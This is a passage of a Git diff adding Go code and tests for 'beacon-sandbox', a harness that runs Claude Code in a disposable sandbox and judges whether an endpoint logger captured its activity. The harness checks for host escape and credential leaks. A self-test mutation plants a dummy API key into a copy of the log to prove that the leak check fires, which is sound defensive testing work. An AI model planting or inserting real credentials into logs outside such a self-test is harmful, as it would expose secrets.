+ if err := os.WriteFile(filepath.Join(dir, "meta.json"), b, 0o600); err != nil {
+ t.Fatal(err)
+ }
+ // Plant a stale PASS. The minimal log above cannot satisfy s01-hello, so a real re-judge
+ // concludes FAIL -- which makes "refreshed" distinguishable from "left alone".
+ stale := check.Verdict{Scenario: "s01-hello", Outcome: check.Pass, Reason: "stale"}
+ if err := stale.WriteJSON(filepath.Join(dir, "verdict.json")); err != nil {
+ t.Fatal(err)
+ }
+
+ // A failing scenario is expected and is not a test error: what is under test is which files
+ // the command writes, not the verdict it reaches.
+ _ = cmdVerify([]string{dir})
+
+ readOutcome := func(name string) string {
+ raw, err := os.ReadFile(filepath.Join(dir, name))
+ if err != nil {
+ t.Fatalf("read %s: %v", name, err)
+ }
+ var m map[string]any
+ if err := json.Unmarshal(raw, &m); err != nil {
+ t.Fatalf("parse %s: %v", name, err)
+ }
+ return fmt.Sprint(m["outcome"])
+ }
+
+ verdict, fingerprint := readOutcome("verdict.json"), readOutcome("fingerprint.json")
+ if verdict != fingerprint {
+ t.Errorf("verdict.json (%s) and fingerprint.json (%s) must agree after a re-judge",
+ verdict, fingerprint)
+ }
+ if verdict == "PASS" {
+ t.Errorf("the stale PASS verdict was not refreshed; verdict.json still says %s", verdict)
+ }
+}
+
+// A mutated verify must leave both artifacts alone: the mutation deliberately damages the input,
+// so persisting its verdict would overwrite the run's real record with a fabricated failure.
+func TestMutatedVerifyDoesNotOverwriteTheRealRecord(t *testing.T) {
+ dir := t.TempDir()
+ lines := []string{
+ `{"timestamp":"2026-08-02T18:00:00Z","vendor":"beacon","product":"endpoint-agent","schema_version":"1.0","event":{"kind":"agent_runtime","action":"prompt.submitted","category":"prompt"},"severity":"info","endpoint":{"os":"linux","hostname":"s"},"harness":{"name":"claude_code"},"session":{"id":"s1"},"prompt":{"text":"MARKER"},"message":"m"}`,
+ }
+ if err := os.WriteFile(filepath.Join(dir, "runtime.jsonl"), []byte(strings.Join(lines, "\n")+"\n"), 0o600); err != nil {
+ t.Fatal(err)
+ }
+ meta := map[string]string{
+ "scenario": "s01-hello", "canary": "MARKER",
+ "sentinel_present": "true", "sentinel_detail": "MARKER",
+ "host_state": "host state unchanged", "argv_check_ran": "true", "secret_in_argv": "false",
+ }
+ b, _ := json.MarshalIndent(meta, "", " ")
+ if err := os.WriteFile(filepath.Join(dir, "meta.json"), b, 0o600); err != nil {
+ t.Fatal(err)
+ }
+ keep := check.Verdict{Scenario: "s01-hello", Outcome: check.Pass, Reason: "the real result"}
+ if err := keep.WriteJSON(filepath.Join(dir, "verdict.json")); err != nil {
+ t.Fatal(err)
+ }
+
+ // The mutation is expected to make the run fail; that is the point of the self-test.
+ _ = cmdVerify([]string{"--mutate", "corrupt-line", dir})
+
+ raw, err := os.ReadFile(filepath.Join(dir, "verdict.json"))
+ if err != nil {
+ t.Fatal(err)
+ }
+ var m map[string]any
+ if err := json.Unmarshal(raw, &m); err != nil {
+ t.Fatal(err)
+ }
+ if got := fmt.Sprint(m["outcome"]); got != "PASS" {
+ t.Errorf("a self-test must not persist its fabricated verdict; verdict.json now says %s", got)
+ }
+}
+
+// A mutation that changes nothing proves nothing. drop-* already refused a no-op, but
+// corrupt-line and plant-secret did not: an empty log, or a line without the `"message":` anchor,
+// produced an unchanged file, a passing check, and a self-test that had verified nothing. Cursor
+// Bugbot spotted the inconsistency between the branches.
+func TestMutationsRefuseToNoOp(t *testing.T) {
+ t.Setenv("ANTHROPIC_API_KEY", "sk-ant-plantme")
+
+ // An empty log cannot be damaged by any mutation.
+ empty := filepath.Join(t.TempDir(), "runtime.jsonl")
+ if err := os.WriteFile(empty, []byte(""), 0o600); err != nil {
+ t.Fatal(err)
+ }
+ for _, mode := range []string{"corrupt-line", "plant-secret", "drop-commands"} {
+ if _, err := applyMutation(empty, mode); err == nil {
+ t.Errorf("%s on an empty log must error rather than report a passing self-test", mode)
+ }
+ }
+}
+
+// plant-secret must not depend on a line happening to contain `"message":`.
+func TestPlantSecretWorksWithoutTheMessageAnchor(t *testing.T) {
+ const key = "sk-ant-plantme"
+ t.Setenv("ANTHROPIC_API_KEY", key)
+
+ dir := t.TempDir()
+ p := filepath.Join(dir, "runtime.jsonl")
+ // A valid object with no "message" field at all.
+ if err := os.WriteFile(p, []byte(`{"timestamp":"2026-08-02T18:00:00Z","vendor":"beacon"}`+"\n"), 0o600); err != nil {
+ t.Fatal(err)
+ }
+
+ mutatedPath, err := applyMutation(p, "plant-secret")
+ if err != nil {
+ t.Fatalf("plant-secret should handle any object, got: %v", err)
+ }
+ body, err := os.ReadFile(mutatedPath)
+ if err != nil {
+ t.Fatal(err)
+ }
+ if !strings.Contains(string(body), key) {
+ t.Fatalf("the credential was not planted:\n%s", body)
+ }
+ // It should still be parseable, so the planted secret trips the leak check rather than the
+ // parse invariant -- otherwise the self-test would pass for the wrong reason.
+ var m map[string]any
+ if err := json.Unmarshal([]byte(strings.TrimSpace(string(body))), &m); err != nil {
+ t.Errorf("planting should keep the line valid JSON: %v\n%s", err, body)
+ }
+}
+
+// The common case must keep working, and keep producing valid JSON.
+func TestPlantSecretWithTheMessageAnchorStaysValidJSON(t *testing.T) {
+ const key = "sk-ant-plantme"
+ t.Setenv("ANTHROPIC_API_KEY", key)
+
+ p := filepath.Join(t.TempDir(), "runtime.jsonl")
+ line := `{"timestamp":"2026-08-02T18:00:00Z","vendor":"beacon","message":"m"}`
+ if err := os.WriteFile(p, []byte(line+"\n"), 0o600); err != nil {
+ t.Fatal(err)
+ }
+
+ mutatedPath, err := applyMutation(p, "plant-secret")
+ if err != nil {
+ t.Fatal(err)
+ }
+ body, _ := os.ReadFile(mutatedPath)
+ var m map[string]any
+ if err := json.Unmarshal([]byte(strings.TrimSpace(string(body))), &m); err != nil {
+ t.Fatalf("planting broke the JSON: %v\n%s", err, body)
+ }
+ if m["leaked"] != key {
+ t.Errorf("expected the key under \"leaked\", got %v", m["leaked"])
+ }
+}
+
+// Absent session metadata must not decode as a *known* failure. Defaulting Known to true while OK
+// defaulted to false meant an artifact lacking both keys read as "the session definitely failed",
+// short-circuiting sentinel-less scenarios to INCONCLUSIVE without evaluating a single expectation
+// -- the opposite of the "keep the original meaning" the comment claimed. Cursor Bugbot caught it.
+func TestOfflineSessionDecodingNeverInventsAFailure(t *testing.T) {
+ cases := []struct {
+ name string
+ meta map[string]string
+ wantKnown, wantOK bool
+ }{
+ {"both absent (pre-dates either field)", map[string]string{}, false, false},
+ {"only session_ok=true (pre-dates session_known)",
+ map[string]string{"session_ok": "true"}, true, true},
+ {"only session_ok=false (ambiguous: failed or unreadable)",
+ map[string]string{"session_ok": "false"}, false, false},
+ {"explicit known failure",
+ map[string]string{"session_known": "true", "session_ok": "false"}, true, false},
+ {"explicit known success",
+ map[string]string{"session_known": "true", "session_ok": "true"}, true, true},
+ {"explicit unknown",
+ map[string]string{"session_known": "false", "session_ok": "false"}, false, false},
+ }
+ for _, c := range cases {
+ known, ok := decodeSession(c.meta)
+ if known != c.wantKnown || ok != c.wantOK {
+ t.Errorf("%s: got known=%v ok=%v, want known=%v ok=%v",
+ c.name, known, ok, c.wantKnown, c.wantOK)
+ }
+ // The dangerous combination is "known failure" invented from nothing.
+ if len(c.meta) == 0 && known && !ok {
+ t.Errorf("%s: absent metadata must never read as a known failed session", c.name)
+ }
+ }
+}
+
+// The sentinel signal needs the same treatment as the session one, and for the same reason:
+// sentinel_present predates sentinel_probed, and the older probe returned empty stdout on a failed
+// guest exec, which was recorded as present=false. So a recorded false without sentinel_probed
+// means either an idle agent or a broken probe, and must not decode as a confident "did nothing".
+// Cursor Bugbot reported the session half; this is its sibling one field away.
+func TestOfflineSentinelDecodingNeverInventsAnIdleAgent(t *testing.T) {
+ cases := []struct {
+ name string
+ meta map[string]string
+ wantProbed, wantPresent bool
+ }{
+ {"both absent", map[string]string{}, false, false},
+ {"only present=true (pre-dates sentinel_probed)",
+ map[string]string{"sentinel_present": "true"}, true, true},
+ {"only present=false (ambiguous: idle or broken probe)",
+ map[string]string{"sentinel_present": "false"}, false, false},
+ {"explicit probed, absent",
+ map[string]string{"sentinel_probed": "true", "sentinel_present": "false"}, true, false},
+ {"explicit probed, present",
+ map[string]string{"sentinel_probed": "true", "sentinel_present": "true"}, true, true},
+ {"explicit unprobed",
+ map[string]string{"sentinel_probed": "false", "sentinel_present": "false"}, false, false},
+ }
+ for _, c := range cases {
+ probed, present := decodeSentinel(c.meta)
+ if probed != c.wantProbed || present != c.wantPresent {
+ t.Errorf("%s: got probed=%v present=%v, want probed=%v present=%v",
+ c.name, probed, present, c.wantProbed, c.wantPresent)
+ }
+ }
+ // The dangerous combination: a confident "the agent did nothing" invented from nothing.
+ if probed, present := decodeSentinel(map[string]string{}); probed && !present {
+ t.Error("absent metadata must never decode as a probed-and-absent sentinel")
+ }
+}
diff --git a/beacon-sandbox/cmd/beacon-sandbox/main.go b/beacon-sandbox/cmd/beacon-sandbox/main.go
new file mode 100644
index 00000000..29f302d4
--- /dev/null
+++ b/beacon-sandbox/cmd/beacon-sandbox/main.go
@@ -0,0 +1,630 @@
+// beacon-sandbox drives Beacon verification in a disposable Linux sandbox.
+//
+// beacon-sandbox run run scenarios, collect, and judge
+// beacon-sandbox verify runs/<dir> re-judge already-collected artifacts (free, offline)
+// beacon-sandbox clean remove local run artifacts
+//
+// `verify` is the one to reach for while iterating: it needs no sandbox, no model, and no
+// network, so changing what counts as correct costs nothing.
+package main
+
+import (
+ "context"
+ "encoding/json"
+ "flag"
+ "fmt"
+ "os"
+ "path/filepath"
+ "strings"
+
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/check"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/credentials"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/runner"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/sandbox"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/scenario"
+)
+
+const appName = "beacon-sandbox"
+
+func main() {
+ if len(os.Args) < 2 {
+ usage()
+ os.Exit(2)
+ }
+ var err error
+ switch os.Args[1] {
+ case "doctor":
+ err = cmdDoctor(os.Args[2:])
+ case "run":
+ err = cmdRun(os.Args[2:])
+ case "verify":
+ err = cmdVerify(os.Args[2:])
+ case "diff":
+ err = cmdDiff(os.Args[2:])
+ case "clean":
+ err = cmdClean(os.Args[2:])
+ case "-h", "--help", "help":
+ usage()
+ return
+ default:
+ usage()
+ os.Exit(2)
+ }
+ if err != nil {
+ fmt.Fprintln(os.Stderr, "error:", err)
+ os.Exit(1)
+ }
+}
+
+func usage() {
+ fmt.Fprint(os.Stderr, `beacon-sandbox -- verify Beacon against real agent activity in a disposable sandbox
+
+ doctor [--fix] [--json] check prerequisites and say how to fix what is missing
+ run [--scenario ID] [--repeat N] [--keep-sandbox] [--suite DIR]
+ verify <run-dir>... [--mutate MODE]
+ diff <before-dir> <after-dir>
+ clean [--dir runs]
+
+Anthropic credential, in the order they resolve:
+ --modal-secret NAME a secret already stored with the provider; the value never enters
+ this process, so the artifact leak check reports unverified
+ --api-key-command CMD a command that prints the key (op read, vault kv get, ...)
+ ANTHROPIC_API_KEY environment variable
+
+New here? Run doctor -- it checks every prerequisite and prints the exact fix:
+ go run ./cmd/beacon-sandbox doctor --fix
+`)
+}
+
+func repoRoot() (string, error) {
+ // The beacon-sandbox module sits one level under the repo root.
+ wd, err := os.Getwd()
+ if err != nil {
+ return "", err
+ }
+ // Terminate on the fixed point of filepath.Dir rather than on a hardcoded "/" or ".".
+ // On Windows, Dir of a drive root returns that same root, so the hardcoded form spun
+ // forever whenever the marker was missing instead of reporting a clear error.
+ for dir := wd; ; {
+ if _, err := os.Stat(filepath.Join(dir, "cli", "beacon", "go.mod")); err == nil {
+ return dir, nil
+ }
+ parent := filepath.Dir(dir)
+ if parent == dir {
+ break
+ }
+ dir = parent
+ }
+ return "", fmt.Errorf("could not locate the repo root from %s", wd)
+}
+
+func cmdRun(args []string) error {
+ fs := flag.NewFlagSet("run", flag.ExitOnError)
+ suite := fs.String("suite", "", "scenario directory: absolute, or relative to the repo root (default beacon-sandbox/scenarios)")
+ only := fs.String("scenario", "", "run only this scenario id")
+ repeat := fs.Int("repeat", 1, "run each scenario N times; a class captured in some runs but not all is flakiness, not absence")
+ keep := fs.Bool("keep-sandbox", false, "leave the sandbox running for debugging")
+ outDir := fs.String("out", "", "artifact directory (default beacon-sandbox/runs)")
+ claudeVer := fs.String("claude-version", "", "pin Claude Code version (default: image default)")
+ modalSecret := fs.String("modal-secret", "", "name of a Modal secret holding ANTHROPIC_API_KEY; the value never enters this process")
+ keyCommand := fs.String("api-key-command", "", "command whose stdout is the Anthropic API key (e.g. 'op read op://vault/anthropic/key')")
+ fs.Parse(args)
+
+ root, err := repoRoot()
+ if err != nil {
+ return err
+ }
+ creds, err := credentials.Resolve(credentials.Options{
+ ProviderSecretName: *modalSecret,
+ KeyCommand: *keyCommand,
+ })
+ if err != nil {
+ return err
+ }
+ fmt.Printf("credential: %s\n", creds.Describe())
+
+ // A plain directory path, absolute or relative to the repo root. An earlier version
+ // rewrote any value without a path separator to the default directory, so `--suite core`
+ // and every other name silently selected the default and no alternative suite was
+ // reachable.
+ scDir := strings.TrimSpace(*suite)
+ switch {
+ case scDir == "":
+ scDir = filepath.Join(root, "beacon-sandbox", "scenarios")
+ case !filepath.IsAbs(scDir):
+ scDir = filepath.Join(root, scDir)
+ }
+ sui, err := scenario.LoadSuite(scDir)
+ if err != nil {
+ return err
+ }
+ out := *outDir
+ if out == "" {
+ out = filepath.Join(root, "beacon-sandbox", "runs")
+ }
+
+ ctx := context.Background()
+ prov, err := sandbox.NewModal(ctx, appName)
+ if err != nil {
+ return err
+ }
+ defer prov.Close()
+
+ var verdicts []check.Verdict
+ for _, sc := range sui.Scenarios {
+ if *only != "" && sc.ID != *only {
+ continue
+ }
+ for i := 0; i < *repeat; i++ {
+ label := sc.ID
+ if *repeat > 1 {
+ label = fmt.Sprintf("%s (run %d/%d)", sc.ID, i+1, *repeat)
+ }
+ fmt.Printf("\n=== %s ===\n", label)
+ art, err := runner.Run(ctx, prov, sc, runner.Options{
+ RepoRoot: root, OutDir: out, Creds: creds,
+ ClaudeVersion: *claudeVer, KeepInstance: *keep,
+ Log: func(f string, a ...any) { fmt.Printf(" "+f+"\n", a...) },
+ })
+ if err != nil {
+ fmt.Printf(" run failed: %v\n", err)
+ // A failed run still collected host and argv state, and those signals matter
+ // most precisely when something went wrong. Fold them in rather than replacing
+ // the whole verdict with a generic message.
+ v := check.Verdict{Scenario: sc.ID, Meta: art.Meta,
+ Reason: "run did not complete: " + err.Error()}
+ safetyOf(&v, art)
+ v.Outcome = check.Fail
+ fmt.Print(indent(v.Report()))
+ verdicts = append(verdicts, v)
+ continue
+ }
+ v, log := judge(sc, art, creds)
+ fmt.Print(indent(v.Report()))
+ if art.Dir != "" {
+ _ = v.WriteJSON(filepath.Join(art.Dir, "verdict.json"))
+ _ = v.Fingerprint(log).WriteJSON(filepath.Join(art.Dir, "fingerprint.json"))
+ }
+ verdicts = append(verdicts, v)
+ }
+ }
+ return summarize(verdicts)
+}
+
+// judge is the pure step: artifacts in, verdict out. Returns the parsed log too so callers
+// can build a fingerprint without re-reading it.
+func judge(sc scenario.Scenario, art runner.Artifacts, creds credentials.Resolved) (check.Verdict, check.Log) {
+ v := check.Verdict{Scenario: sc.ID, Meta: art.Meta}
+
+ // Host escape and credential-in-argv come from run metadata, not from the log, so they must
+ // be reported even when the log is unreadable. An earlier version returned before this on a
+ // ReadLog error, which meant a collection failure could bury a real disclosure or a
+ // clobbered local ~/.beacon behind a generic "could not read the log". A collection problem
+ // is the weakest reason imaginable to stop reporting the strongest findings.
+ // Reported by Cursor Bugbot.
+ safetyOf(&v, art)
+
+ log, err := check.ReadLog(art.RuntimeLog)
+ if err != nil {
+ v.Outcome = check.Fail
+ v.Reason = "could not read the collected runtime log: " + err.Error()
+ return v, log
+ }
+
+ // Only real secrets go here. The canary is meant to appear in the log, not to be
+ // absent from it.
+ secrets := check.Secrets{}
+ if creds.LeakCheckPossible() {
+ secrets.Values = map[string]string{credentials.EnvVar: creds.Value}
+ } else {
+ secrets.Withheld = map[string]string{credentials.EnvVar: creds.WithheldReason()}
+ }
+ check.Invariants(&v, log, secrets)
+ check.Expectations(&v, log, sc, art.Canary, check.Sentinel{
+ Declared: sc.Sentinel != "",
+ Present: art.SentinelPresent,
+ Probed: art.SentinelProbed,
+ Detail: art.SentinelDetail,
+ }, check.Session{Known: art.SessionKnown, OK: art.SessionOK})
+ v.Resolve()
+ return v, log
+}
+
+// safetyOf folds the out-of-band safety signals into a verdict.
+//
+// Shared by the normal and the run-failed paths so neither can quietly omit them: host escape and
+// credential disclosure are the two findings that must survive every other kind of failure.
+func safetyOf(v *check.Verdict, art runner.Artifacts) {
+ check.Safety(v, check.HostSafety{
+ HostChanged: art.Meta["host_state"],
+ SecretInArgv: art.Meta["secret_in_argv"] == "true",
+ ArgvCheckRan: art.Meta["argv_check_ran"] == "true",
+ })
+}
+
+// decodeSentinel reads the sentinel signal from run metadata without inventing information.
+//
+// Same shape as decodeSession, and for the same reason. sentinel_present predates sentinel_probed,
+// and the older probe (`cat f || echo __MISSING__`) returned empty stdout on a failed guest exec --
+// which was recorded as present=false. So a recorded true is unambiguous and is trusted, while a
+// recorded false without an accompanying sentinel_probed means either the agent was idle or the
+// probe broke, and must decode as unprobed rather than as a confident "the agent did nothing".
+//
+// This is the sibling of the bug Cursor Bugbot reported for sessions. Fixing only the session half
+// would have left the identical conflation one field away.
+func decodeSentinel(meta map[string]string) (probed, present bool) {
+ switch {
+ case meta["sentinel_probed"] != "":
+ return meta["sentinel_probed"] == "true", meta["sentinel_present"] == "true"
+ case meta["sentinel_present"] == "true":
+ return true, true
+ default:
+ return false, false
+ }
+}
+
+// decodeSession reads the session signal from run metadata without inventing information.
+//
+// Absent metadata must not decode as a *known* failure. Defaulting Known to true while OK defaulted
+// to false meant an artifact lacking both keys read as "the session definitely failed", which
+// short-circuited sentinel-less scenarios to INCONCLUSIVE without evaluating a single expectation.
+// Reported by Cursor Bugbot.
+//
+// session_ok predates session_known, and the old writer only ever set it true when claude-out.json
+// parsed, so a recorded true is unambiguous. A recorded false is not -- it meant either a failed
+// session or an unreadable result, the very conflation session_known exists to end -- so an older
+// artifact is trusted only in the true case.
+func decodeSession(meta map[string]string) (known, ok bool) {
+ switch {
+ case meta["session_known"] != "":
+ return meta["session_known"] == "true", meta["session_ok"] == "true"
+ case meta["session_ok"] == "true":
+ return true, true
+ default:
+ return false, false
+ }
+}
+
+// offlineCredential reconstructs, for an offline re-judge, what the leak check can search for.
+//
+// It must honor what the original run used, and it must be able to tell when it cannot. Two
+// distinct false-clean holes had to be closed here, both reported by Cursor Bugbot:
+//
+// - a provider-secret run has no local value at all, so reaching for the ambient
+// ANTHROPIC_API_KEY searched the artifacts for an unrelated key
+// - even for env and command runs, the key present at verify time may differ from the one used
+// during capture (rotated, different account, different shell), and searching for the wrong
+// value finds nothing while a real disclosure of the original goes unreported
+//
+// The recorded fingerprint closes the second: a mismatch means this process cannot search for the
+// right value, so the check reports unverified instead of clean. Silence is only allowed to mean
+// "clean" when the value being searched for is provably the one the run used.
+func offlineCredential(meta map[string]string) credentials.Resolved {
+ if credentials.Source(meta["credential_source"]) == credentials.SourceProviderSecret {
+ return credentials.Resolved{
+ Source: credentials.SourceProviderSecret,
+ ProviderSecretName: meta["credential_secret_name"],
+ }
+ }
+ key := strings.TrimSpace(os.Getenv(credentials.EnvVar))
+ if key == "" {
+ return credentials.Resolved{Source: credentials.SourceNone}
+ }
+ // A run recorded before fingerprints existed cannot be checked either way; treat the
+ // unknown as unverified rather than assuming the keys match.
+ want := meta["credential_fingerprint"]
+ if want == "" || want != credentials.Fingerprint(key) {
+ return credentials.Resolved{Source: credentials.SourceMismatch}
+ }
+ return credentials.Resolved{Source: credentials.SourceEnv, Value: key}
+}
+
+func cmdVerify(args []string) error {
+ fs := flag.NewFlagSet("verify", flag.ExitOnError)
+ mutate := fs.String("mutate", "", "corrupt the input to self-test the checks: "+
+ "drop-commands|drop-action:<action>|corrupt-line|plant-secret")
+ fs.Parse(args)
+ dirs := fs.Args()
+ if len(dirs) == 0 {
+ return fmt.Errorf("usage: beacon-sandbox verify <run-dir>...")
+ }
+
+ root, err := repoRoot()
+ if err != nil {
+ return err
+ }
+ var verdicts []check.Verdict
+ for _, dir := range dirs {
+ meta := map[string]string{}
+ if b, err := os.ReadFile(filepath.Join(dir, "meta.json")); err == nil {
+ _ = json.Unmarshal(b, &meta)
+ }
+ scID := meta["scenario"]
+ if scID == "" {
+ scID = filepath.Base(dir)
+ }
+ sc, err := findScenario(root, scID)
+ if err != nil {
+ return err
+ }
+
+ logPath := filepath.Join(dir, "runtime.jsonl")
+ if *mutate == "plant-secret" {
+ // The mutation plants the local key, but offline judging withholds the leak search
+ // for provider-secret runs and for fingerprint mismatches. In those cases the
+ // planted credential could never trip invariant.no_secret_leak, so the self-test
+ // would report PASS and prove nothing -- a self-test that cannot fail is exactly
+ // what this tool refuses to ship. Reported by Cursor Bugbot.
+ if c := offlineCredential(meta); !c.LeakCheckPossible() {
+ return fmt.Errorf("plant-secret cannot self-test %s.\n"+
+ " The leak check is withheld for this run because %s.\n"+
+ " A planted credential would therefore never be searched for, and the "+
+ "mutation would report PASS while proving nothing.\n"+
+ " Use a run captured with the ANTHROPIC_API_KEY currently set, or try a "+
+ "different mutation: corrupt-line, drop-commands, drop-action:<action>.",
+ dir, c.WithheldReason())
+ }
+ }
+ if *mutate != "" {
+ logPath, err = applyMutation(logPath, *mutate)
+ if err != nil {
+ return err
+ }
+ defer os.Remove(logPath)
+ fmt.Printf("(mutation %q applied: a PASS becoming FAIL is the check working)\n", *mutate)
+ }
+
+ art := runner.Artifacts{RuntimeLog: logPath, Meta: meta}
+ art.Canary = meta["canary"]
+ // Sentinel state is not re-derivable offline, so trust what the run recorded -- including
+ // the detail, which is the evidence a finding quotes. Dropping it made re-judged verdicts
+ // show an empty detail for a sentinel the capture path had already described. Reported by
+ // Cursor Bugbot.
+ art.SentinelDetail = meta["sentinel_detail"]
+ art.SentinelProbed, art.SentinelPresent = decodeSentinel(meta)
+ art.SessionKnown, art.SessionOK = decodeSession(meta)
+ v, log := judge(sc, art, offlineCredential(meta))
+ fmt.Print(v.Report())
+ // Refresh both artifacts, or neither. Only the fingerprint was rewritten before, so a
+ // re-judge with changed expectations left verdict.json holding the old outcome while
+ // fingerprint.json held the new one -- the two files on disk actively disagreeing about
+ // the same run, with anything reading the verdict trusting a stale judgment. Reported by
+ // Cursor Bugbot, and visible in this repo's own run directories.
+ //
+ // Neither is written for a mutated run: a self-test deliberately damages the input, so
+ // persisting its verdict would overwrite the run's real record with a fabricated failure.
+ if *mutate == "" {
+ if err := v.WriteJSON(filepath.Join(dir, "verdict.json")); err != nil {
+ fmt.Fprintf(os.Stderr, "warning: could not update verdict.json in %s: %v\n", dir, err)
+ }
+ if err := v.Fingerprint(log).WriteJSON(filepath.Join(dir, "fingerprint.json")); err != nil {
+ fmt.Fprintf(os.Stderr, "warning: could not update fingerprint.json in %s: %v\n", dir, err)
+ }
+ }
+ verdicts = append(verdicts, v)
+ }
+ return summarize(verdicts)
+}
+
+// cmdDiff compares two runs' capability fingerprints.
+func cmdDiff(args []string) error {
+ fs := flag.NewFlagSet("diff", flag.ExitOnError)
+ fs.Parse(args)
+ if fs.NArg() != 2 {
+ return fmt.Errorf("usage: beacon-sandbox diff <before-dir> <after-dir>")
+ }
+ before, err := check.LoadFingerprint(filepath.Join(fs.Arg(0), "fingerprint.json"))
+ if err != nil {
+ return fmt.Errorf("read before fingerprint: %w", err)
+ }
+ after, err := check.LoadFingerprint(filepath.Join(fs.Arg(1), "fingerprint.json"))
+ if err != nil {
+ return fmt.Errorf("read after fingerprint: %w", err)
+ }
+ if before.Scenario != after.Scenario {
+ return fmt.Errorf("refusing to compare different scenarios (%q vs %q)",
+ before.Scenario, after.Scenario)
+ }
+ d := check.CompareFingerprints(before, after)
+ fmt.Print(d.Describe())
+ if d.HasRegression() {
+ return fmt.Errorf("%d capability regression(s)", len(d.Regressions))
+ }
+ return nil
+}
+
+func findScenario(root, id string) (scenario.Scenario, error) {
+ sui, err := scenario.LoadSuite(filepath.Join(root, "beacon-sandbox", "scenarios"))
+ if err != nil {
+ return scenario.Scenario{}, err
+ }
+ for _, s := range sui.Scenarios {
+ if s.ID == id {
+ return s, nil
+ }
+ }
+ return scenario.Scenario{}, fmt.Errorf("no scenario with id %q", id)
+}
+
+// applyMutation deliberately damages a copy of the log. If the checks still pass afterwards
+// they are not actually checking anything, so this is a self-test of the oracle.
+func applyMutation(path, mode string) (string, error) {
+ b, err := os.ReadFile(path)
+ if err != nil {
+ return "", err
+ }
+ // strings.Split("", "\n") yields one empty element, so an empty log would otherwise be
+ // treated as having a phantom line -- corrupt-line would "damage" a line that never existed
+ // and report a working self-test against a log containing nothing.
+ trimmed := strings.TrimRight(string(b), "\n")
+ var lines []string
+ if trimmed != "" {
+ lines = strings.Split(trimmed, "\n")
+ }
+ var out []string
+
+ // drop-action:<action> removes every event with that action. `drop-commands` is the
+ // common case, and it is parameterized so the self-test can target whichever action a
+ // given log actually contains -- a mutation that removes nothing proves nothing, which is
+ // why dropping zero events is treated as an error below.
+ if action, ok := strings.CutPrefix(mode, "drop-action:"); ok || mode == "drop-commands" {
+ if mode == "drop-commands" {
+ action = "command.executed"
+ }
+ dropped := 0
+ for _, l := range lines {
+ if actionOf(l) == action {
+ dropped++
+ continue
+ }
+ out = append(out, l)
+ }
+ if dropped == 0 {
+ return "", fmt.Errorf("mutation %q removed nothing: no %q events in this log, "+
+ "so the self-test would prove nothing", mode, action)
+ }
+ tmp := path + ".mutated"
+ if err := os.WriteFile(tmp, []byte(strings.Join(out, "\n")+"\n"), 0o644); err != nil {
+ return "", err
+ }
+ return tmp, nil
+ }
+
+ // A mutation that changes nothing proves nothing, so every branch below has to actually
+ // damage the log -- and the post-condition after the switch enforces that rather than
+ // trusting each branch to have managed it. The drop-* path above already refused a no-op;
+ // corrupt-line and plant-secret did not, so an empty log or a line without the expected
+ // anchor produced an unchanged file, a passing check, and a self-test that had verified
+ // nothing. Reported by Cursor Bugbot.
+ switch mode {
+ case "corrupt-line":
+ out = append(out, lines...)
+ if len(out) > 0 {
+ out[len(out)/2] = `{"vendor":"beacon","this is not json`
+ }
+ case "plant-secret":
+ key := os.Getenv("ANTHROPIC_API_KEY")
+ if key == "" {
+ return "", fmt.Errorf("plant-secret needs ANTHROPIC_API_KEY to plant")
+ }
+ out = append(out, lines...)
+ if len(out) > 0 {
+ out[0] = plantSecret(out[0], key)
+ }
+ if len(out) == 0 || !strings.Contains(out[0], key) {
+ return "", fmt.Errorf("plant-secret could not insert the credential into %s: "+
+ "the first line is empty or not an object, so the leak check would never see "+
+ "it and the self-test would prove nothing", path)
+ }
+ default:
+ return "", fmt.Errorf("unknown mutation %q (want drop-commands, drop-action:<action>, "+
+ "corrupt-line, or plant-secret)", mode)
+ }
+
+ // The shared post-condition: the log must differ from what it was. Compared on the trimmed
+ // bodies, because appending the trailing newline made an empty log look like it had changed
+ // from "" to "\n" -- a difference in the file that is no difference in the events, which is
+ // the only thing a self-test cares about.
+ mutated := strings.Join(out, "\n") + "\n"
+ if len(out) == 0 || strings.TrimRight(mutated, "\n") == trimmed {
+ return "", fmt.Errorf("mutation %q left %s unchanged, so the self-test would prove "+
+ "nothing (is the log empty?)", mode, path)
+ }
+ tmp := path + ".mutated"
+ if err := os.WriteFile(tmp, []byte(mutated), 0o644); err != nil {
+ return "", err
+ }
+ return tmp, nil
+}
+
+// plantSecret inserts a credential into a JSONL event line.
+//
+// The original anchored on `"message":`, which every real Beacon event happens to carry -- but a
+// line without it was silently left untouched, and the caller then reported a passing self-test.
+// Inserting before the closing brace works for any object, and the `"message":` form is kept first
+// only because it keeps the result valid JSON in the common case, so the planted secret trips the
+// leak check rather than the parse invariant.
+func plantSecret(line, key string) string {
+ if replaced := strings.Replace(line, `"message":`,
+ fmt.Sprintf(`"leaked":%q,"message":`, key), 1); replaced != line {
+ return replaced
+ }
+ if i := strings.LastIndex(line, "}"); i > 0 {
+ return line[:i] + fmt.Sprintf(`,"leaked":%q}`, key) + line[i+1:]
+ }
+ return line
+}
+
+func cmdClean(args []string) error {
+ fs := flag.NewFlagSet("clean", flag.ExitOnError)
+ dir := fs.String("dir", "", "artifact directory (default beacon-sandbox/runs)")
+ fs.Parse(args)
+ root, err := repoRoot()
+ if err != nil {
+ return err
+ }
+ target := *dir
+ if target == "" {
+ target = filepath.Join(root, "beacon-sandbox", "runs")
+ }
+ fmt.Println("removing", target)
+ return os.RemoveAll(target)
+}
+
+func summarize(verdicts []check.Verdict) error {
+ if len(verdicts) == 0 {
+ return fmt.Errorf("no scenarios ran")
+ }
+ var pass, fail, incon int
+ fmt.Println("\n=== summary ===")
+ for _, v := range verdicts {
+ fmt.Printf("%-13s %s\n", v.Outcome, v.Scenario)
+ switch v.Outcome {
+ case check.Pass:
+ pass++
+ case check.Fail:
+ fail++
+ case check.Inconclusive:
+ incon++
+ }
+ }
+ fmt.Printf("%d passed, %d failed, %d inconclusive\n", pass, fail, incon)
+ if incon > 0 {
+ fmt.Println("inconclusive means the agent did not do the requested work -- retry those, " +
+ "they are not capture failures")
+ }
+ if fail > 0 {
+ return fmt.Errorf("%d scenario(s) failed", fail)
+ }
+ // Nothing verified is not the same as verified. Scripts and agents branch on exit status, so
+ // exiting 0 here would let an unverified run read as a successful verification -- the same
+ // vacuous pass this tool exists to prevent. Distinct wording from a failure, because the
